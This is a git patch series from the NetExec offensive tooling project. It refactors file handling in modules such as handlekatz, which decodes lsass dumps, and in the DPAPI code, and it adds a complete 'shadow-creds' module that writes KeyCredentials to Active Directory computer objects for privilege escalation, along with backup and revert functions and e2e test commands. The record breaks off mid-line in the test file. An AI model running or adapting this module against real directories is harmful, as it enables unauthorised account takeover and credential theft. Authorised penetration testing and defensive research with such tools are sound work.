"sha256:2d5e53e36e37129fe0be8b9d08b6e4052c10a963ee6cda56c8c10dcc194b99ca"}, + {file = "sqlalchemy-2.0.52-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:2eb3c6a64b1bfe6704777cfd504e7b8ad093a5f3e03ce67663a5e6742f294e43"}, + {file = "sqlalchemy-2.0.52-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:923bb183c1dc64fdf7b717965e3d59938ec4f8b8710b419a21ce403e5da9a9e1"}, + {file = "sqlalchemy-2.0.52-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:651d6d8782e80679e6151707c7b490834d46ada526328895abf567f25e63d29c"}, + {file = "sqlalchemy-2.0.52-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:b08cddb8989775e3c88799d86704bdfc3ee6e9846118201aa5997f16f27e3a15"}, + {file = "sqlalchemy-2.0.52-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ab66fa9618269390d4dfa222f2f2f88f7bc4bf5da13905131b818217db7e8057"}, + {file = "sqlalchemy-2.0.52-cp313-cp313-win32.whl", hash = "sha256:c63bda077685c85ca513286547a531ba57e7a68cf0a7ed3bafcc2bbd18896f4d"}, + {file = "sqlalchemy-2.0.52-cp313-cp313-win_amd64.whl", hash = "sha256:9876b09b9f1ce7398b0ffece585c0a911244c53191187341f6bcae640e133751"}, + {file = "sqlalchemy-2.0.52-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:410d52be41d17f1a236d19520fbe776257dc16516ed06bd16d433311842aefd9"}, + {file = "sqlalchemy-2.0.52-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:dfe9ce533dbe4d0a2ae1486546619bd30b76bcd670539a44d910361376175f5e"}, + {file = "sqlalchemy-2.0.52-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:812bae5138bfc0aa46fb0686da0fc7f581f68e2bbb05bc24c3713bebaedd1437"}, + {file = "sqlalchemy-2.0.52-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:50bff43b632a56fbf5ed9afdd76307e1512b62051bcd5afb341ae67205bbb6c8"}, + {file = "sqlalchemy-2.0.52-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:49565daf5af554f538e23aef1fc81a95a4e49658f152285e45c02f5fc44f04cd"}, + {file = "sqlalchemy-2.0.52-cp314-cp314-win32.whl", hash = "sha256:ab9da41e61b9979b910499d633b241df20c51ee5037e5405b11c2faac3cbe1a2"}, + {file = "sqlalchemy-2.0.52-cp314-cp314-win_amd64.whl", hash = "sha256:a593db51b3bae75db17a5738ad5f992244b3a03863f83c28117ee482c6a3f76d"}, {file = "sqlalchemy-2.0.52-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c1e61d08bdf4ee2f41024569e3400de7d6734ba498144766b11260936ccfa582"}, {file = "sqlalchemy-2.0.52-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:1b92a1e23ed40022081217b40d2d1feba4f77064e69ef4f39f68bcbbd148452a"}, + {file = "sqlalchemy-2.0.52-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:77a247d3fd179f6583171e7e0e98f40dc6642ed4f655557515a5a7e25923e9a4"}, + {file = "sqlalchemy-2.0.52-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:cd9206024b8602e7518bbaf44016c29e0045722f09328d8e654941023920d0b3"}, + {file = "sqlalchemy-2.0.52-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:46f0c46f0d360d727b84660b26c62b295d82306ec2c82b701e97747d2c6dcbe1"}, + {file = "sqlalchemy-2.0.52-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:df8f213ceb485d8227b74935eb87ba0d80169a8401eba7835da6e30d6727dac4"}, + {file = "sqlalchemy-2.0.52-cp38-cp38-win32.whl", hash = "sha256:f2b09029ef6f260409eefa5dc2b8276f6c3d7b892bfb50d50e8f852257d4a6b4"}, + {file = "sqlalchemy-2.0.52-cp38-cp38-win_amd64.whl", hash = "sha256:765f439da5bc8696973bc0c8a31fae0912ac3ff1cb9d66246a6b2728ee4fbbc8"}, {file = "sqlalchemy-2.0.52-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:4b89e93bb89eabdbea9d5d3fa2d6cc6544e733c33064339f91e5292480cf130e"}, + {file = "sqlalchemy-2.0.52-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8cf993f065bc04caa5000b339e8d9d6f3d9d00251511f850147c516c9e07115f"}, + {file = "sqlalchemy-2.0.52-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:cce4922535db73f9dbb91e3db2b3e851ac629467fd1ebd8e354a60e369521c63"}, + {file = "sqlalchemy-2.0.52-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:2f5fa2b2aca75d2c7f36db3a8dd04717b6fbfd1a964fb32bdeae16698e475ab3"}, + {file = "sqlalchemy-2.0.52-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:f4d4f7afc682961dc567db70e00a7b5bd81ccd3743c46199b0257f0744902dde"}, + {file = "sqlalchemy-2.0.52-cp39-cp39-win32.whl", hash = "sha256:de89de5b5798cafdd7ef7b7b804acec246d6152922128fd9d156cd1701271aff"}, + {file = "sqlalchemy-2.0.52-cp39-cp39-win_amd64.whl", hash = "sha256:3c95c3044edddb65e4a2f7194ec52ca5a9736f72d33ca3a6fa4196aedcc689fd"}, + {file = "sqlalchemy-2.0.52-py3-none-any.whl", hash = "sha256:3b81b8363a919ce53453591cdb93702e6bd54ade6c4fa2f468fc053baee5ed89"}, {file = "sqlalchemy-2.0.52.tar.gz", hash = "sha256:5e2d46356ac2ccb7d268ab6c2319ac6a2b42f1b8d5fd8bd3d46855cd82abee97"}, ] From 09bfaaf36ff3aa5f5224cb3031b4e6484656bcef Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 16 Aug 2026 09:44:05 -0400 Subject: [PATCH 197/397] Use context manager for file operations --- nxc/modules/daclread.py | 8 ++++---- nxc/modules/handlekatz.py | 19 ++++++++----------- nxc/protocols/ftp.py | 6 ++++-- nxc/protocols/smb.py | 3 ++- 4 files changed, 18 insertions(+), 18 deletions(-) diff --git a/nxc/modules/daclread.py b/nxc/modules/daclread.py index d591378b9a..950b143c46 100644 --- a/nxc/modules/daclread.py +++ b/nxc/modules/daclread.py @@ -249,10 +249,10 @@ def options(self, context, module_options): context.log.debug("There is a target specified!") if isfile(module_options[option]): try: - target_file = open(module_options[option]) # ruff: ignore[open-file-with-context-handler] - for line in target_file: - context.log.debug(f"Adding target from file: {line}") - self.targets.append((line.strip(), SEARCH_FILTERS[option])) + with open(module_options[option]) as target_file: + for line in target_file: + context.log.debug(f"Adding target from file: {line}") + self.targets.append((line.strip(), SEARCH_FILTERS[option])) except Exception: context.log.fail("The file doesn't exist or cannot be opened.") else: diff --git a/nxc/modules/handlekatz.py b/nxc/modules/handlekatz.py index 4fa5c44e85..5455c7b84e 100644 --- a/nxc/modules/handlekatz.py +++ b/nxc/modules/handlekatz.py @@ -126,20 +126,17 @@ def on_admin_login(self, context, connection): except Exception as e: context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}") - h_in = open(self.dir_result + machine_name, "rb") # ruff: ignore[open-file-with-context-handler] - h_out = open(self.dir_result + machine_name + ".decode", "wb") # ruff: ignore[open-file-with-context-handler] + with open(self.dir_result + machine_name, "rb") as h_in, open(self.dir_result + machine_name + ".decode", "wb") as h_out: + bytes_in = bytearray(h_in.read()) - bytes_in = bytearray(h_in.read()) - bytes_in_len = len(bytes_in) + context.log.display(f"Deobfuscating, this might take a while (size: {len(bytes_in)} bytes)") - context.log.display(f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)") + chunks = [bytes_in[i: i + 1000000] for i in range(0, len(bytes_in), 1000000)] + for chunk in chunks: + for i in range(len(chunk)): + chunk[i] ^= 0x41 - chunks = [bytes_in[i: i + 1000000] for i in range(0, bytes_in_len, 1000000)] - for chunk in chunks: - for i in range(len(chunk)): - chunk[i] ^= 0x41 - - h_out.write(bytes(chunk)) + h_out.write(bytes(chunk)) with open(self.dir_result + machine_name + ".decode", "rb") as dump: try: diff --git a/nxc/protocols/ftp.py b/nxc/protocols/ftp.py index becbb2e73a..39c27f9e34 100644 --- a/nxc/protocols/ftp.py +++ b/nxc/protocols/ftp.py @@ -128,7 +128,8 @@ def get_file(self, filename): # Check if the file exists self.conn.size(filename) # Attempt to download the file - self.conn.retrbinary(f"RETR {filename}", open(downloaded_file, "wb").write) # ruff: ignore[open-file-with-context-handler] + with open(downloaded_file, "wb") as f: + self.conn.retrbinary(f"RETR {filename}", f.write) except error_perm as error_message: self.logger.fail(f"Failed to download the file. Response: ({error_message})") self.conn.close() @@ -146,7 +147,8 @@ def get_file(self, filename): def put_file(self, local_file, remote_file): try: # Attempt to upload the file - self.conn.storbinary(f"STOR {remote_file}", open(local_file, "rb")) # ruff: ignore[open-file-with-context-handler] + with open(local_file, "rb") as f: + self.conn.storbinary(f"STOR {remote_file}", f.read) except error_perm as error_message: self.logger.fail(f"Failed to upload file. Response: ({error_message})") return False diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 4077326986..19c96d1bfc 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -2314,7 +2314,8 @@ def dpapi(self): if self.args.pvk is not None: try: - self.pvkbytes = open(self.args.pvk, "rb").read() # ruff: ignore[open-file-with-context-handler] + with open(self.args.pvk, "rb") as f: + self.pvkbytes = f.read() self.logger.success(f"Loading domain backupkey from {self.args.pvk}") except Exception as e: self.logger.fail(str(e)) From 1b1e9c5d6a3267fb1831d8305969fe0125d3d9ea Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Sun, 16 Aug 2026 16:45:28 +0200 Subject: [PATCH 198/397] signal module options() abort via exception instead of None --- nxc/connection.py | 8 ++++++-- nxc/loaders/moduleloader.py | 6 +++++- nxc/netexec.py | 8 +++++--- 3 files changed, 16 insertions(+), 6 deletions(-) diff --git a/nxc/connection.py b/nxc/connection.py index 1b0de7de11..7ed2e73410 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -14,7 +14,7 @@ from nxc.config import pwned_label from nxc.helpers.logger import highlight -from nxc.loaders.moduleloader import ModuleLoader +from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError from nxc.logger import nxc_logger, NXCAdapter from nxc.context import Context from nxc.paths import NXC_PATH @@ -604,5 +604,9 @@ def load_modules(self): self.modules = [] for module_path in self.module_paths: - module = loader.init_module(module_path) + try: + module = loader.init_module(module_path) + except ModuleOptionsError as e: + self.logger.debug(f"Skipping module: {e}") + continue self.modules.append(module) diff --git a/nxc/loaders/moduleloader.py b/nxc/loaders/moduleloader.py index d7351e9813..c45e158426 100755 --- a/nxc/loaders/moduleloader.py +++ b/nxc/loaders/moduleloader.py @@ -13,6 +13,10 @@ from nxc.paths import NXC_PATH +class ModuleOptionsError(Exception): + """Raised when a module aborts the run from options() (returned False).""" + + class ModuleLoader: def __init__(self, args, db, logger): self.args = args @@ -101,7 +105,7 @@ def init_module(self, module_path): module_options[str(key).upper()] = value if module.options(context, module_options) is False: - return None + raise ModuleOptionsError(f"Module {module.name} aborted the run from options()") return module else: self.logger.fail(f"Module {module.name.upper()} is not supported for protocol {self.args.protocol}") diff --git a/nxc/netexec.py b/nxc/netexec.py index 021b862a6f..0a1e8e3314 100644 --- a/nxc/netexec.py +++ b/nxc/netexec.py @@ -8,7 +8,7 @@ from nxc.parsers.nessus import parse_nessus_file from nxc.cli import gen_cli_args from nxc.loaders.protocolloader import ProtocolLoader -from nxc.loaders.moduleloader import ModuleLoader +from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError from nxc.first_run import first_run_setup from nxc.paths import NXC_PATH, WORKSPACE_DIR from nxc.console import nxc_console @@ -207,8 +207,10 @@ def main(): exit(1) nxc_logger.debug(f"Loading module for sanity check {m} at path {modules[m]['path']}") - module = loader.init_module(modules[m]["path"]) - if module is None: + try: + loader.init_module(modules[m]["path"]) + except ModuleOptionsError as e: + nxc_logger.debug(f"Aborting run: {e}") exit(1) # Add modules paths to the protocol object so it can load them itself From 3114333d278132f94259105762995da89ad1ba0c Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 16 Aug 2026 16:30:09 -0400 Subject: [PATCH 199/397] First draft of shadow-creds --- nxc/modules/shadow-creds.py | 190 ++++++++++++++++++++++++++++++++++++ 1 file changed, 190 insertions(+) create mode 100644 nxc/modules/shadow-creds.py diff --git a/nxc/modules/shadow-creds.py b/nxc/modules/shadow-creds.py new file mode 100644 index 0000000000..1974243e7c --- /dev/null +++ b/nxc/modules/shadow-creds.py @@ -0,0 +1,190 @@ +from pathlib import Path +from sys import exit + +from cryptography.hazmat.primitives.serialization import NoEncryption +from cryptography.hazmat.primitives.serialization.pkcs12 import serialize_key_and_certificates +from dsinternals.common.cryptography.X509Certificate2 import X509Certificate2 +from dsinternals.common.data.DNWithBinary import DNWithBinary +from dsinternals.common.data.hello.KeyCredential import KeyCredential +from dsinternals.system.DateTime import DateTime +from dsinternals.system.Guid import Guid +from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE + +from nxc.helpers.misc import CATEGORY +from nxc.parsers.ldap_results import parse_result_attributes +from nxc.paths import NXC_PATH + + +class NXCModule: + """ + Made by @NeffIsBack + Heavily inspired by the pyWhisker project by Shutdown: + https://github.com/ShutdownRepo/pywhisker + """ + + name = "shadow-creds" + description = "List, add, inspect, or remove Shadow Credentials from a computer" + supported_protocols = ["ldap"] + category = CATEGORY.PRIVILEGE_ESCALATION + + def options(self, context, module_options): + """ + TARGET sAMAccountName of the target computer (for example, TARGET=DESKTOP-123456$) + ACTION Action to perform: list, add, info, or remove (default: list) + DEVICE_ID KeyCredential device ID; required for info and remove + + Examples: + netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=list + netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=add + netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=info DEVICE_ID= + netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=remove DEVICE_ID= + """ + self.target = module_options.get("TARGET", "").strip() + self.action = module_options.get("ACTION", "list").lower().strip() + self.device_id = module_options.get("DEVICE_ID") + + if not self.target: + context.log.fail("TARGET is required") + exit(1) + if self.action not in {"list", "add", "info", "remove"}: + context.log.fail("ACTION must be one of: add, info, list, remove") + exit(1) + if self.action in {"info", "remove"} and not self.device_id: + context.log.fail(f"DEVICE_ID is required for ACTION={self.action}") + exit(1) + + def on_login(self, context, connection): + self.context = context + self.connection = connection + + resp = connection.search( + searchFilter=f"(&(objectClass=computer)(sAMAccountName={self.target}))", + attributes=["distinguishedName", "sAMAccountName", "msDS-KeyCredentialLink"], + ) + resp_parsed = parse_result_attributes(resp) + if not resp_parsed: + context.log.fail(f"Computer '{self.target}' was not found") + return + + target_dn = resp_parsed[0]["distinguishedName"] + raw_values = resp_parsed[0].get("msDS-KeyCredentialLink", []) + credentials = self.parse_credentials(raw_values if isinstance(raw_values, list) else [raw_values]) + + if self.action == "list": + self.list(credentials) + elif self.action == "add": + self.add(target_dn) + elif self.action == "info": + self.info(credentials) + elif self.action == "remove": + self.remove(target_dn, credentials) + + def parse_credentials(self, raw_values): + credentials = [] + for raw_value in raw_values: + try: + # AD stores each KeyCredential as a textual DN-Binary value. + credentials.append( + ( + raw_value, + KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(raw_value.encode("utf-8") if isinstance(raw_value, str) else bytes(raw_value))), + ) + ) + except Exception as e: + self.context.log.fail(f"Could not parse an existing KeyCredential: {e}") + return credentials + + def get_credential(self, credentials): + for raw_value, credential in credentials: + if credential.DeviceId and credential.DeviceId.toFormatD().lower() == self.device_id: + return raw_value, credential + self.context.log.fail(f"No KeyCredential with device ID {self.device_id} was found on {self.target}") + return None + + def list(self, credentials): + if not credentials: + self.context.log.display(f"No KeyCredentials found on {self.target}") + return + + self.context.log.success(f"Found {len(credentials)} KeyCredential(s) on {self.target}") + for _, credential in credentials: + self.context.log.highlight(f"Device ID: {credential.DeviceId.toFormatD().lower() if credential.DeviceId else ''} | Creation time: {credential.CreationTime}") + + def add(self, target_dn): + try: + certificate = X509Certificate2(subject=self.target, keySize=2048, notBefore=-(40 * 365), notAfter=40 * 365) + credential = KeyCredential.fromX509Certificate2( + certificate=certificate, + deviceId=Guid(), + owner=target_dn, + currentTime=DateTime(), + isComputerKey=True, + ) + device_id = credential.DeviceId.toFormatD().lower() + ldap_value = credential.toDNWithBinary().toString() + output_path = self.write_pfx(certificate, device_id) + except Exception as e: + self.context.log.fail(f"Failed to generate certificate and KeyCredential: {e}") + return + + try: + # Add one value instead of replacing the complete multi-valued attribute. + self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_ADD, [ldap_value])]}) + except Exception as e: + self.context.log.fail(f"Failed to add the KeyCredential: {e}") + self.context.log.display(f"Generated PFX retained at {output_path}") + return + + self.context.log.success(f"Added KeyCredential with device ID {device_id} to {self.target}") + self.context.log.highlight(f"PFX: {output_path}") + + def write_pfx(self, certificate, device_id): + output_dir = Path(NXC_PATH) / "modules" / "shadow-creds" + output_dir.mkdir(parents=True, exist_ok=True) + output_path = output_dir / f"{self.target.rstrip('$')}_{device_id}.pfx" + + output_path.write_bytes( + serialize_key_and_certificates( + name=self.target.encode("utf-8"), + key=certificate.key.to_cryptography_key(), + cert=certificate.certificate.to_cryptography(), + cas=None, + encryption_algorithm=NoEncryption(), + ) + ) + return output_path + + def info(self, credentials): + result = self.get_credential(credentials) + if result is None: + return + + _, credential = result + self.context.log.success(f"KeyCredential {self.device_id} on {self.target}") + for name, value in { + "Device ID": credential.DeviceId.toFormatD().lower(), + "Owner": credential.Owner, + "Version": getattr(credential.Version, "value", credential.Version), + "Identifier": credential.Identifier, + "Usage": getattr(credential.Usage, "name", credential.Usage), + "Source": getattr(credential.Source, "name", credential.Source), + "Creation time": credential.CreationTime, + "Key size": getattr(credential.RawKeyMaterial, "keySize", "unknown"), + "Public exponent": getattr(credential.RawKeyMaterial, "exponent", "unknown"), + }.items(): + self.context.log.highlight(f"{name:<17} {value}") + + def remove(self, target_dn, credentials): + result = self.get_credential(credentials) + if result is None: + return + + raw_value, _ = result + try: + # Delete the exact raw value so neighboring credentials remain untouched. + self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_DELETE, [raw_value])]}) + except Exception as e: + self.context.log.fail(f"Failed to remove the KeyCredential: {e}") + return + + self.context.log.success(f"Removed KeyCredential {self.device_id} from {self.target}") From 18f0e5ffc5eac8b3433c471891ff03f3551d6d3b Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 16 Aug 2026 16:30:16 -0400 Subject: [PATCH 200/397] Add stub e2e tests --- tests/e2e_commands.txt | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 863e18c533..8eb8d13086 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -245,6 +245,11 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M whoami netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dump-computers netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M raisechild netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-scriptpath +# Shadow Credentials needs a writable, disposable computer object. Run these manually with a real target and use the device ID printed by ACTION=add. +#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=list +#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=add +#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=info DEVICE_ID=SHADOW_CREDS_DEVICE_ID +#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=remove DEVICE_ID=SHADOW_CREDS_DEVICE_ID # resetnightmare resets a real account password with no restore and needs a controlled account with GenericWrite on its UPN + an unpatched DC, run manually, not in CI #netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M resetnightmare -o TARGET=TARGET_ACCOUNT NEW_PASSWORD=Password123! UPN_USER=CONTROLLED_ACCOUNT UPN_PASSWORD=Password1 ##### WINRM From 96ce28cc4a669a2bf1f3b86f21efa2bb4c262c05 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 16 Aug 2026 17:14:06 -0400 Subject: [PATCH 201/397] Add backup and revert functions --- nxc/modules/shadow-creds.py | 64 +++++++++++++++++++++++++++++++------ 1 file changed, 54 insertions(+), 10 deletions(-) diff --git a/nxc/modules/shadow-creds.py b/nxc/modules/shadow-creds.py index 1974243e7c..88ada600e9 100644 --- a/nxc/modules/shadow-creds.py +++ b/nxc/modules/shadow-creds.py @@ -1,3 +1,4 @@ +import json from pathlib import Path from sys import exit @@ -8,7 +9,7 @@ from dsinternals.common.data.hello.KeyCredential import KeyCredential from dsinternals.system.DateTime import DateTime from dsinternals.system.Guid import Guid -from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE +from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE, MODIFY_REPLACE from nxc.helpers.misc import CATEGORY from nxc.parsers.ldap_results import parse_result_attributes @@ -23,35 +24,42 @@ class NXCModule: """ name = "shadow-creds" - description = "List, add, inspect, or remove Shadow Credentials from a computer" + description = "List, add, inspect, remove, backup, or revert Shadow Credentials on a computer" supported_protocols = ["ldap"] category = CATEGORY.PRIVILEGE_ESCALATION def options(self, context, module_options): """ TARGET sAMAccountName of the target computer (for example, TARGET=DESKTOP-123456$) - ACTION Action to perform: list, add, info, or remove (default: list) + ACTION Action to perform: list, add, info, remove, backup, or revert (default: list) DEVICE_ID KeyCredential device ID; required for info and remove + JSONFILE JSON backup path; required for revert and optional for backup Examples: netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=list netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=add netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=info DEVICE_ID= netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=remove DEVICE_ID= + netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=backup JSONFILE=shadow-creds.json + netexec ldap -u -p -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=revert JSONFILE=shadow-creds.json """ self.target = module_options.get("TARGET", "").strip() self.action = module_options.get("ACTION", "list").lower().strip() self.device_id = module_options.get("DEVICE_ID") + self.jsonfile = module_options.get("JSONFILE") if not self.target: context.log.fail("TARGET is required") exit(1) - if self.action not in {"list", "add", "info", "remove"}: - context.log.fail("ACTION must be one of: add, info, list, remove") + if self.action not in {"list", "add", "info", "remove", "backup", "revert"}: + context.log.fail("ACTION must be one of: list, add, info, remove, backup, revert") exit(1) if self.action in {"info", "remove"} and not self.device_id: context.log.fail(f"DEVICE_ID is required for ACTION={self.action}") exit(1) + if self.action == "revert" and not self.jsonfile: + context.log.fail("JSONFILE is required for ACTION=revert") + exit(1) def on_login(self, context, connection): self.context = context @@ -68,16 +76,20 @@ def on_login(self, context, connection): target_dn = resp_parsed[0]["distinguishedName"] raw_values = resp_parsed[0].get("msDS-KeyCredentialLink", []) - credentials = self.parse_credentials(raw_values if isinstance(raw_values, list) else [raw_values]) + raw_values = raw_values if isinstance(raw_values, list) else [raw_values] if self.action == "list": - self.list(credentials) + self.list(self.parse_credentials(raw_values)) elif self.action == "add": self.add(target_dn) elif self.action == "info": - self.info(credentials) + self.info(self.parse_credentials(raw_values)) elif self.action == "remove": - self.remove(target_dn, credentials) + self.remove(target_dn, self.parse_credentials(raw_values)) + elif self.action == "backup": + self.backup(raw_values) + elif self.action == "revert": + self.revert(target_dn) def parse_credentials(self, raw_values): credentials = [] @@ -87,7 +99,7 @@ def parse_credentials(self, raw_values): credentials.append( ( raw_value, - KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(raw_value.encode("utf-8") if isinstance(raw_value, str) else bytes(raw_value))), + KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(raw_value.encode())), ) ) except Exception as e: @@ -188,3 +200,35 @@ def remove(self, target_dn, credentials): return self.context.log.success(f"Removed KeyCredential {self.device_id} from {self.target}") + + def backup(self, raw_values): + key_credentials = [] + for raw_value in raw_values: + try: + key_credentials.append(KeyCredential.fromDNWithBinary(DNWithBinary.fromRawDNWithBinary(raw_value.encode())).toDict()) + except Exception as e: + self.context.log.fail(f"Could not serialize an existing KeyCredential, preserving its raw value: {e}") + key_credentials.append(raw_value) + + output_path = Path(self.jsonfile) if self.jsonfile else Path(NXC_PATH) / "modules" / "shadow-creds" / f"{self.target.rstrip('$')}.json" + output_path.parent.mkdir(parents=True, exist_ok=True) + output_path.write_text(json.dumps({"keyCredentials": key_credentials}, indent=4)) + self.context.log.success(f"Backed up {len(key_credentials)} KeyCredential(s) from {self.target} to {output_path}") + + def revert(self, target_dn): + try: + key_credentials = [] + for key_credential in json.loads(Path(self.jsonfile).read_text())["keyCredentials"]: + if not isinstance(key_credential, (dict, str)): + raise ValueError("keyCredentials entries must be objects or strings") + key_credentials.append(KeyCredential.fromDict(key_credential).toDNWithBinary().toString() if isinstance(key_credential, dict) else key_credential) + except Exception as e: + self.context.log.fail(f"Failed to read Shadow Credentials backup: {e}") + return + + try: + self.connection.ldap_connection.modify(target_dn, {"msDS-KeyCredentialLink": [(MODIFY_REPLACE, key_credentials)]}) + except Exception as e: + self.context.log.fail(f"Failed to revert Shadow Credentials: {e}") + return + self.context.log.success(f"Reverted {self.target} to {len(key_credentials)} backed-up KeyCredential(s)") From fb8b3e41c71e1a98a1bac716682b72a1fb0f8bf4 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 16 Aug 2026 17:21:00 -0400 Subject: [PATCH 202/397] Add more tests and adjust encoding --- nxc/modules/shadow-creds.py | 4 ++-- tests/e2e_commands.txt | 7 +++++-- 2 files changed, 7 insertions(+), 4 deletions(-) diff --git a/nxc/modules/shadow-creds.py b/nxc/modules/shadow-creds.py index 88ada600e9..d6e31571ce 100644 --- a/nxc/modules/shadow-creds.py +++ b/nxc/modules/shadow-creds.py @@ -212,13 +212,13 @@ def backup(self, raw_values): output_path = Path(self.jsonfile) if self.jsonfile else Path(NXC_PATH) / "modules" / "shadow-creds" / f"{self.target.rstrip('$')}.json" output_path.parent.mkdir(parents=True, exist_ok=True) - output_path.write_text(json.dumps({"keyCredentials": key_credentials}, indent=4)) + output_path.write_text(json.dumps({"keyCredentials": key_credentials}, indent=4), encoding="utf-8") self.context.log.success(f"Backed up {len(key_credentials)} KeyCredential(s) from {self.target} to {output_path}") def revert(self, target_dn): try: key_credentials = [] - for key_credential in json.loads(Path(self.jsonfile).read_text())["keyCredentials"]: + for key_credential in json.loads(Path(self.jsonfile).read_text(encoding="utf-8"))["keyCredentials"]: if not isinstance(key_credential, (dict, str)): raise ValueError("keyCredentials entries must be objects or strings") key_credentials.append(KeyCredential.fromDict(key_credential).toDNWithBinary().toString() if isinstance(key_credential, dict) else key_credential) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 8eb8d13086..677867b699 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -245,8 +245,11 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M whoami netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dump-computers netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M raisechild netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-scriptpath -# Shadow Credentials needs a writable, disposable computer object. Run these manually with a real target and use the device ID printed by ACTION=add. -#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=list +# Backup followed by revert restores the same Shadow Credentials state on the disposable test computer. +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=list +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=backup JSONFILE=nxc-shadow-creds-castelblack.json +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p 